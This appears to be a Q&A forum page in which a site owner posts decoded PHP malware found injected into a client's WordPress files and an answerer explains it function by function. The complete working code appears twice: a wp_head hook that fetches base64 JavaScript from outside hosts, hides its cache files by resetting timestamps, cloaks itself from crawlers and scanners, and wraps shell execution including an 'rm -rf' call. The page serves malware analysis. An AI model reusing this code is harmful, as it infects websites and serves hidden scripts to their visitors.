Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

What is this malware code accomplishing?

I found this code injected in a number of PHP files on a client's site. Of course the original had been obfuscated and encoded. I've managed to decode it and format it to the current form.

My question is: What exactly is it accomplishing and does the code suggest how it was injected and therefore shedding light on how to prevent this in future?

<?php
if(!function_exists('check_wp_head_load')){
    function check_wp_head_load(){
        if(!function_exists('cc')){
            function cc($ll_0){
                $ll_1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
                if(function_exists('curl_init')){
                    $ll_2 = curl_init();
                    curl_setopt($ll_2, 10002, $ll_0);
                    curl_setopt($ll_2, 42, 0);
                    curl_setopt($ll_2, 13, 30);
                    curl_setopt($ll_2, 19913, 1);
                    curl_setopt($ll_2, 10018, $ll_1);
                    if(!(@ini_get("safe_mode") || @ini_get("open_basedir"))){
                        @curl_setopt($ll_2, 52, 1);

                    }

                    @curl_setopt($ll_2, 68, 2);
                    $ll_3 = curl_exec($ll_2);
                    curl_close($ll_2);
                    if($ll_3 !== false){
                        return $ll_3;

                    }

                }
                else if(function_exists('fsockopen')){
                    global $ll_4;
                    $ll_0 = str_replace("http://", "", $ll_0);
                    if(preg_match("#/#", "$ll_0")){
                        $ll_5 = $ll_0;
                        $ll_0 = @explode("/", $ll_0);
                        $ll_0 = $ll_0[0];
                        $ll_5 = str_replace($ll_0, "", $ll_5);
                        if(!$ll_5 || $ll_5 == ""){
                            $ll_5 = "/";

                        }
                        $ll_6 = gethostbyname($ll_0);

                    }
                    else{
                        $ll_6 = gethostbyname($ll_0);
                        $ll_5 = "/";

                    }
                    $ll_7 = fsockopen($ll_6, 80, $ll_8, $ll_9, 10);
                    stream_set_timeout($ll_7, 10);
                    if($ll_7){
                        $ll_10 = "GET $ll_5 HTTP/1.0\r\n";
                        $ll_10 .= "Host: $ll_0\r\n";
                        $ll_10 .= "Referer: http://$ll_0$ll_5\r\n";
                        $ll_10 .= "Accept-Language: en-us, en;q=0.50\r\n";
                        $ll_10 .= "User-Agent: $ll_1\r\n";
                        $ll_10 .= "Connection: Close\r\n\r\n";
                        fputs($ll_7, $ll_10);
                        while(!feof($ll_7)){
                            $ll_11 .= fgets($ll_7, 4096);

                        }
                        fclose($ll_7);
                        $ll_11 = @explode("\r\n\r\n", $ll_11, 2);
                        $ll_12 = $ll_11[0];
                        if($ll_4){
                            $ll_12 = "$ll_4<br /><br />\n$ll_12";

                        }
                        $ll_12 = str_replace("\n", "<br />", $ll_12);
                        if($ll_11[1]){
                            $ll_13 = $ll_11[1];

                        }
                        else{
                            $ll_13 = "";

                        }
                        if($ll_13){
                            $ll_11 = $ll_13;

                        }
                        else{
                            $ll_11 = $ll_12;

                        }
                        if(preg_match("/Location\:/", "$ll_12")){
                            $ll_0 = @explode("Location: ", $ll_12);
                            $ll_0 = $ll_0[1];
                            $ll_0 = @explode("\r", $ll_0);
                            $ll_0 = $ll_0[0];
                            $ll_4 = str_replace("\r\n\r\n", "", $ll_12);
                            $ll_14 = "&#76&#111&#99&#97&#116&#105&#111&#110&#58";
                            $ll_4 = str_replace("Location:", $ll_14, $ll_4);
                            return cc($ll_0);

                        }
                        else{
                            return $ll_11;

                        }

                    }

                }
                else{
                    echo "ERROR";
                    exit;

                }

            }

        }
        if(!function_exists('detB')){
            function detB($ll_15, $ll_16){
                $ll_17 = array("66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+",
                                "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134",
                                "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38",
                                "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124",
                                "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169",
                                "64\.233\.1[6-8][1-9]\.[0-9]+", "64\.233\.19[0-1]\.[0-9]+", "209\.185\.108\.[0-9]+", "209\.185\.253\.[0-9]+", "209\.85\.238\.[0-9]+", "216\.239\.33\.9[6-9]",
                                "216\.239\.37\.9[8-9]","216\.239\.39\.9[8-9]","216\.239\.41\.9[6-9]","216\.239\.45\.4","216\.239\.46\.[0-9]+","216\.239\.51\.9[6-9]","216\.239\.53\.9[8-9]",
                                "216\.239\.57\.9[6-9]","216\.239\.59\.9[8-9]","216\.33\.229\.163","64\.233\.173\.[0-9]+","64\.68\.8[0-9]\.[0-9]+","64\.68\.9[0-2]\.[0-9]+","72\.14\.199\.[0-9]+",
                                "8\.6\.48\.[0-9]+","207\.211\.40\.82","67\.162\.158\.146","66\.255\.53\.123","24\.200\.208\.112","129\.187\.148\.240","129\.187\.148\.244",
                                "199\.126\.151\.229","118\.124\.32\.193","89\.149\.217\.191","122\.164\.27\.42","149\.5\.168\.2","150\.70\.66\.[0-9]+","194\.250\.116\.39",
                                "208\.80\.194\.[0-9]+","62\.190\.39\.205","67\.198\.80\.236","85\.85\.187\.243","95\.134\.141\.250","97\.107\.135\.[0-9]+","97\.79\.239\.[0-9]+",
                                "184\.168\.191\.[0-9]+","95\.108\.157\.[0-9]+","209\.235\.253\.17");
                $ll_18 = array("http","google","slurp","msnbot","bot","crawl",
                                "spider","robot","httpclient","curl","php","indy library",
                                "wordpress","charlotte","wwwster","python","urllib","perl",
                                "libwww","lynx","twiceler","rambler","yandex","trend",
                                "virus","malware","wget");
                $ll_15 = preg_replace("|User\.Agent\:[\s ]?|i", "", $ll_15);
                $ll_19 = true;
                foreach($ll_17 as $ll_20)
                    if(eregi("$ll_20", $ll_16)){
                        $ll_19 = false;
                        break;

                    }
                    if($ll_19)
                        foreach($ll_18 as $ll_21)
                            if(eregi($ll_21, $ll_15) !== false){
                                $ll_19 = false;
                                break;

                            }
                            if($ll_19 and!eregi("^[a-zA-Z]{5,}", $ll_15)){
                                $ll_19 = false;

                            }
                            if($ll_19 and strlen($ll_15) <= 11){
                                $ll_19 = false;

                            }
                            return $ll_19;

            }

        }
        if(!function_exists('rm_rf_file')){
            function rm_rf_file($ll_22){
                $ll_23 = filemtime($ll_22);
                if($ll_24 = opendir($ll_22)){
                    while(false !==($ll_25 = readdir($ll_24))){
                        if($ll_25 != "." && $ll_25 != ".." && is_file($ll_25)){
                            chmod($ll_25, 438);
                            unlink($ll_25);

                        }

                    }
                    closedir($ll_24);

                }
                touch($ll_22, $ll_23, $ll_23);

            }

        }
        if(!function_exists('sys_get_temp_dir')){
            function sys_get_temp_dir(){
                if($ll_26 = getenv("TMP"))
                    return $ll_26;
                if($ll_26 = getenv("TEMP"))
                    return $ll_26;
                if($ll_26 = getenv("TMPDIR"))
                    return $ll_26;
                $ll_26 = tempnam(__FILE__, "");
                if(file_exists($ll_26)){
                    unlink($ll_26);
                    return dirname($ll_26);

                }
                return false;

            }

        }
        if(!function_exists('ex')){
            function ex($ll_27){
                $ll_28 = "";
                if(!empty($ll_27)){
                    if(function_exists('exec')){
                        @exec($ll_27, $ll_28);
                        $ll_28 = join("\n", $ll_28);

                    }
                    elseif(function_exists('shell_exec')){
                        $ll_28 = @shell_exec($ll_27);

                    }
                    elseif(function_exists('system')){
                        @ob_start();
                        @system($ll_27);
                        $ll_28 = @ob_get_contents();
                        @ob_end_clean();

                    }
                    elseif(function_exists('passthru')){
                        @ob_start();
                        @passthru($ll_27);
                        $ll_28 = @ob_get_contents();
                        @ob_end_clean();

                    }
                    elseif(@is_resource($ll_29 = @popen($ll_27, "r"))){
                        $ll_28 = "";
                        while(!@feof($ll_29)){
                            $ll_28 .= @fread($ll_29, 1024);

                        }
                        @pclose($ll_29);

                        }elseif(@function_exists('proc_open') && @is_resource($ll_29 = @proc_open($ll_27, array(1 => array("pipe", "w")), $ll_30))){
                            $ll_28 = "";
                            if(@function_exists('fread') && @function_exists('feof')){
                                while(!@feof($ll_30[1])){
                                    $ll_28 .= @fread($ll_30[1], 1024);

                                }

                            }
                            else if(@function_exists('fgets') && @function_exists('feof')){
                                while(!@feof($ll_30[1])){
                                    $ll_28 .= @fgets($ll_30[1], 1024);

                                }

                            }
                            @proc_close($ll_29);

                        }

                }
                return htmlspecialchars($ll_28);

            }

        }
        $ll_31 = "lonly";
        $ll_32 = $_SERVER["REMOTE_ADDR"];
        $ll_1 = $_SERVER["HTTP_USER_AGENT"];
        $ll_33 = $_SERVER["SCRIPT_FILENAME"];
        $ll_34 = strtolower($ll_1);
        if($ll_32 == "" || $ll_1 == "" || $ll_33 == "")
            return null;
        if(!isset($_COOKIE[$ll_31])){
            $ll_35 = @sys_get_temp_dir();
            if(!$ll_35){
                $ll_35 = dirname($ll_33);
                $ll_36 = $ll_35 ."/.tmp";

            }
            else{
                $ll_36 = $ll_35 ."/.tmp";
                if(!@file_exists($ll_36)){
                    $ll_23 = @filemtime($ll_35);
                    @mkdir($ll_36);
                    $ll_37 = @fopen("$ll_36/r", "w");
                    @fwrite($ll_37, "");
                    @fclose($ll_37);
                    @chmod($ll_36, 511);
                    @touch("$ll_36/r", $ll_23, $ll_23);
                    @touch($ll_35, $ll_23, $ll_23);
                    @touch($ll_36, $ll_23, $ll_23);
                    if(!@file_exists("$ll_36/r")){
                        $ll_35 = dirname($ll_33);
                        $ll_36 = $ll_35 ."/.cache";

                    }

                }

            }
            if(!@file_exists($ll_36)){
                $ll_23 = @filemtime($ll_35);
                @mkdir($ll_36);
                @chmod($ll_36, 511);
                @touch($ll_35, $ll_23, $ll_23);
                @touch($ll_36, $ll_23, $ll_23);

            }
            $ll_38 = @date("Hi");
            $ll_39 = @date("ymd");
            $ll_40 = "$ll_36/$ll_39";
            $ll_41 = "$ll_36/tmp_$ll_39";
            $ll_42 = $ll_39 - 1;
            if(@file_exists("$ll_36/tmp_$ll_42") || ($ll_38 >= "0000" &&
                    $ll_38 <= "0001") || ($ll_38 >= "1200" &&
                    $ll_38 <= "1201") || ($ll_38 >= "1800" &&
                    $ll_38 <= "1801")){
                @rm_rf_file($ll_36);
                @ex("rm -rf $ll_36/*");

            }
            if(!@file_exists($ll_40)){
                $ll_23 = @filemtime($ll_36);
                $ll_37 = @fopen($ll_40, "w");
                @fclose($ll_37);
                @chmod($ll_40, 511);
                @touch($ll_36, $ll_23, $ll_23);

            }
            if(@is_writable($ll_36) && (!@file_exists($ll_41) || @filesize($ll_41) < 5)){
                $ll_43 = array("ohix.", "effbot.", "/f/", "net");
                $ll_44 = $ll_43[rand(0, 1)] .$ll_43[3] .$ll_43[2];
                $ll_45 = @cc($ll_44);
                if($ll_45 != "ERROR" && base64_decode($ll_45) !== false){
                    $ll_23 = @filemtime($ll_36);
                    $ll_37 = @fopen($ll_41, "w");
                    @fwrite($ll_37, "$ll_45");
                    @fclose($ll_37);
                    @chmod($ll_41, 511);
                    @touch($ll_36, $ll_23, $ll_23);
                    @touch($ll_41, $ll_23, $ll_23);

                }
                else
                    return null;

            }
            $ll_46 = @base64_decode(@file_get_contents($ll_41));
            $ll_47 = @file($ll_40);
            $ll_48 = false;
            foreach($ll_47 as $ll_49){
                if(@trim($ll_49) == $ll_32){
                    $ll_48 = true;
                    break;

                }

            }
            $ll_19 = @detB($ll_1,$ll_32);
            if($ll_48 == false && $ll_19 == true){
                $ll_37 = @fopen($ll_40,"a");
                @fwrite($ll_37, "$ll_32\n");
                @fclose($ll_37);
                echo "\n" .str_repeat(" ", mt_rand(300, 1000)) 
                        . "<script type='text/javascript'>$ll_46</script>\n";

            }

        }

    }

}
$ll_31 = "lonly";
if(!isset($_COOKIE[$ll_31]))
    @add_action("wp_head", "check_wp_head_load", mt_rand(1, 7));
?>
like image 647
KalenGi Avatar asked Mar 03 '12 10:03

KalenGi


1 Answers

Okay, at first analysis of all defined functions and at the end analysis of what does script actually do. The script defines following functions:

Load any URL content, it has 2 implementations (one for curl, second for sockets):

function cc($url) {
    $user_agent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
        if (!(@ini_get("safe_mode") || @ini_get("open_basedir"))) {
            @curl_setopt($ch, CURLE_GOT_NOTHING, 1);
        }

        @curl_setopt($ch, CURLOPT_MAXREDIRS, 2);
        $content = curl_exec($ch);
        curl_close($ch);

        if ($content !== false) {
            return $content;
        }
    } else if (function_exists('fsockopen')) {
        // Alternative implementation
    } else {
        echo "ERROR";
        exit;
    }
}

Some sort of RemoteAddr/User agent validation (when to hide):

function detB($userAgent, $remoteAddr) {
    // Those are obviously regexps which will match quite wide range of ip addresses
    $ipList = array("66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+",
        "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134",
        "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38",
        "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124",
        "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169",
        "64\.233\.1[6-8][1-9]\.[0-9]+", "64\.233\.19[0-1]\.[0-9]+", "209\.185\.108\.[0-9]+", "209\.185\.253\.[0-9]+", "209\.85\.238\.[0-9]+", "216\.239\.33\.9[6-9]",
        "216\.239\.37\.9[8-9]", "216\.239\.39\.9[8-9]", "216\.239\.41\.9[6-9]", "216\.239\.45\.4", "216\.239\.46\.[0-9]+", "216\.239\.51\.9[6-9]", "216\.239\.53\.9[8-9]",
        "216\.239\.57\.9[6-9]", "216\.239\.59\.9[8-9]", "216\.33\.229\.163", "64\.233\.173\.[0-9]+", "64\.68\.8[0-9]\.[0-9]+", "64\.68\.9[0-2]\.[0-9]+", "72\.14\.199\.[0-9]+",
        "8\.6\.48\.[0-9]+", "207\.211\.40\.82", "67\.162\.158\.146", "66\.255\.53\.123", "24\.200\.208\.112", "129\.187\.148\.240", "129\.187\.148\.244",
        "199\.126\.151\.229", "118\.124\.32\.193", "89\.149\.217\.191", "122\.164\.27\.42", "149\.5\.168\.2", "150\.70\.66\.[0-9]+", "194\.250\.116\.39",
        "208\.80\.194\.[0-9]+", "62\.190\.39\.205", "67\.198\.80\.236", "85\.85\.187\.243", "95\.134\.141\.250", "97\.107\.135\.[0-9]+", "97\.79\.239\.[0-9]+",
        "184\.168\.191\.[0-9]+", "95\.108\.157\.[0-9]+", "209\.235\.253\.17");

    // Those are magic words to be matched
    $wordsList = array("http", "google", "slurp", "msnbot", "bot", "crawl",
        "spider", "robot", "httpclient", "curl", "php", "indy library",
        "wordpress", "charlotte", "wwwster", "python", "urllib", "perl",
        "libwww", "lynx", "twiceler", "rambler", "yandex", "trend",
        "virus", "malware", "wget");
    $userAgent = preg_replace("|User\.Agent\:[\s ]?|i", "", $userAgent);
    $replacedHeader = true;
    foreach ($ipList as $ip)
        if (eregi("$ip", $remoteAddr)) {
            $replacedHeader = false;
            break;
        }
    if ($replacedHeader)
        foreach ($wordsList as $word)
            if (eregi($word, $userAgent) !== false) {
                $replacedHeader = false;
                break;
            }
    if ($replacedHeader and !eregi("^[a-zA-Z]{5,}", $userAgent)) {
        $replacedHeader = false;
    }
    if ($replacedHeader and strlen($userAgent) <= 11) {
        $replacedHeader = false;
    }
    return $replacedHeader;
}

Remove file/directory recursively and replace it with own new file (so mtime will match)

function rm_rf_file($filename) {
    $fileMTime = filemtime($filename);
    if ($directory = opendir($filename)) {
        while (false !== ($directoryItem = readdir($directory))) {
            if ($directoryItem != "." && $directoryItem != ".." && is_file($directoryItem)) {
                chmod($directoryItem, 438); // 438 = 0666
                unlink($directoryItem);
            }
        }
        closedir($directory);
    }
    touch($filename, $fileMTime, $fileMTime);
} 

Get system/php temporary directory (several ways):

function sys_get_temp_dir() {
    if ($tmpDir = getenv("TMP"))
        return $tmpDir;
    if ($tmpDir = getenv("TEMP"))
        return $tmpDir;
    if ($tmpDir = getenv("TMPDIR"))
        return $tmpDir;
    // Now it's tmp file, not tmp dir
    $tmpDir = tempnam(__FILE__, "");
    if (file_exists($tmpDir)) {
        unlink($tmpDir);
        return dirname($tmpDir);
    }
    return false;
}

Execute shell command (implementation for all possible executions that php supports):

function ex($shellCommand) {
    $result = "";
    if (!empty($shellCommand)) {
        if (function_exists('exec')) {
            @exec($shellCommand, $result);
            $result = join("\n", $result);
        } elseif (function_exists('shell_exec')) {
            $result = @shell_exec($shellCommand);
        } elseif (function_exists('system')) {
            @ob_start();
            @system($shellCommand);
            $result = @ob_get_contents();
            @ob_end_clean();
        } elseif (function_exists('passthru')) {
            @ob_start();
            @passthru($shellCommand);
            $result = @ob_get_contents();
            @ob_end_clean();
        } elseif (@is_resource($processHandler = @popen($shellCommand, "r"))) {
            $result = "";
            while (!@feof($processHandler)) {
                $result .= @fread($processHandler, 1024);
            }
            @pclose($processHandler);
        } elseif (@function_exists('proc_open') && @is_resource($processHandler = @proc_open($shellCommand, array(1 => array("pipe", "w")), $shellOutput))) {
            $result = "";
            if (@function_exists('fread') && @function_exists('feof')) {
                while (!@feof($shellOutput[1])) {
                    $result .= @fread($shellOutput[1], 1024);
                }
            } else if (@function_exists('fgets') && @function_exists('feof')) {
                while (!@feof($shellOutput[1])) {
                    $result .= @fgets($shellOutput[1], 1024);
                }
            }
            @proc_close($processHandler);
        }
    }
    return htmlspecialchars($result);
}

And main payload function:

// This is just initialization for script variables
$cookieKey = "lonly";
$remoteAddr = $_SERVER["REMOTE_ADDR"];
$userAgent = $_SERVER["HTTP_USER_AGENT"];
$scriptFileName = $_SERVER["SCRIPT_FILENAME"];
$userAgentToLower = strtolower($userAgent);

// Requires to have all variables filled
if ($remoteAddr == "" || $userAgent == "" || $scriptFileName == "")
    return null;

// Initialization via cookies
if (!isset($_COOKIE[$cookieKey])) {
    $tempDir = @sys_get_temp_dir();

    // If there's no tmp dir create directory in current directory
    if (!$tempDir) {
        $tempDir = dirname($scriptFileName);
        $tempDirectory = $tempDir . "/.tmp";

    // Create directory in temporary directory and hide directory mtime
    } else {
        $tempDirectory = $tempDir . "/.tmp";
        if (!@file_exists($tempDirectory)) {
            $directoryMTime = @filemtime($tempDir);
            @mkdir($tempDirectory);
            $tempFileFP = @fopen("$tempDirectory/r", "w");
            @fwrite($tempFileFP, "");
            @fclose($tempFileFP);
            @chmod($tempDirectory, 511); // 0777
            @touch("$tempDirectory/r", $directoryMTime, $directoryMTime);
            @touch($tempDir, $directoryMTime, $directoryMTime);
            @touch($tempDirectory, $directoryMTime, $directoryMTime);
            if (!@file_exists("$tempDirectory/r")) {
                $tempDir = dirname($scriptFileName);
                $tempDirectory = $tempDir . "/.cache";
            }
        }
    }

    // Make sure that directory exists
    if (!@file_exists($tempDirectory)) {
        $directoryMTime = @filemtime($tempDir);
        @mkdir($tempDirectory);
        @chmod($tempDirectory, 511); // 0777
        @touch($tempDir, $directoryMTime, $directoryMTime);
        @touch($tempDirectory, $directoryMTime, $directoryMTime);
    }

    // Initializes variables
    $time = @date("Hi");
    $date = @date("ymd");
    $ipStorageFile = "$tempDirectory/$date";
    $payloadFile = "$tempDirectory/tmp_$date";
    $date2 = $date - 1;

    // Remove our own mass if there's file one day old,
    // or when we launch script at certain times (0000, 1200 and 1800)
    if (@file_exists("$tempDirectory/tmp_$date2") || ($time >= "0000" &&
        $time <= "0001") || ($time >= "1200" &&
        $time <= "1201") || ($time >= "1800" &&
        $time <= "1801")) {
        @rm_rf_file($tempDirectory);
        @ex("rm -rf $tempDirectory/*");
    }

    // Create one temporary file
    if (!@file_exists($ipStorageFile)) {
        $directoryMTime = @filemtime($tempDirectory);
        $tempFileFP = @fopen($ipStorageFile, "w");
        @fclose($tempFileFP);
        @chmod($ipStorageFile, 511); // 0777
        @touch($tempDirectory, $directoryMTime, $directoryMTime);
    }

    // If file2 doesn't exists or is empty try to load content from website
    // Websites is one of those:
    // ohix.net/f/
    // effbot.net/f/
    if (@is_writable($tempDirectory) && (!@file_exists($payloadFile) || @filesize($payloadFile) < 5)) {
        $urlParts = array("ohix.", "effbot.", "/f/", "net");
        $url = $urlParts[rand(0, 1)] . $urlParts[3] . $urlParts[2];
        $content = @cc($url);
        if ($content != "ERROR" && base64_decode($content) !== false) {
            $directoryMTime = @filemtime($tempDirectory);
            $tempFileFP = @fopen($payloadFile, "w");
            @fwrite($tempFileFP, "$content");
            @fclose($tempFileFP);
            @chmod($payloadFile, 511);
            @touch($tempDirectory, $directoryMTime, $directoryMTime);
            @touch($payloadFile, $directoryMTime, $directoryMTime);
        }
        else
            return null;
    }

    // Load contents
    $content = @base64_decode(@file_get_contents($payloadFile));
    $ipList = @file($ipStorageFile);
    $knowenIp = false;

    // Check whether this IP was already used
    foreach ($ipList as $ip) {
        if (@trim($ip) == $remoteAddr) {
            $knowenIp = true;
            break;
        }
    }

    $clientValidation = @detB($userAgent, $remoteAddr);
    if ($knowenIp == false && $clientValidation == true) {
        $tempFileFP = @fopen($ipStorageFile, "a");
        @fwrite($tempFileFP, "$remoteAddr\n");
        @fclose($tempFileFP);
        echo "\n" . str_repeat(" ", mt_rand(300, 1000))
        . "<script type='text/javascript'>$content</script>\n";
    }
}

So if I'm reading all this code correctly the script does following:

  • Try to initialize few functions (each explained separately)
  • Create temporary directory without modifying mtime of parent folder
  • Load "payload" into $payloadFile (probably advertisement content) from one of those sites:
    • ohix.net/f/
    • effbot.net/f/
  • Only display content once a day to each user/ip ($ipStorageFile)
  • Script is smart enough (function detB) not to display it's content to certain IPs (probably some bots, security checks and so on) and some user agents (such as googlebots or clients unable to launch javascript by default).
like image 121
Vyktor Avatar answered Nov 21 '22 05:11

Vyktor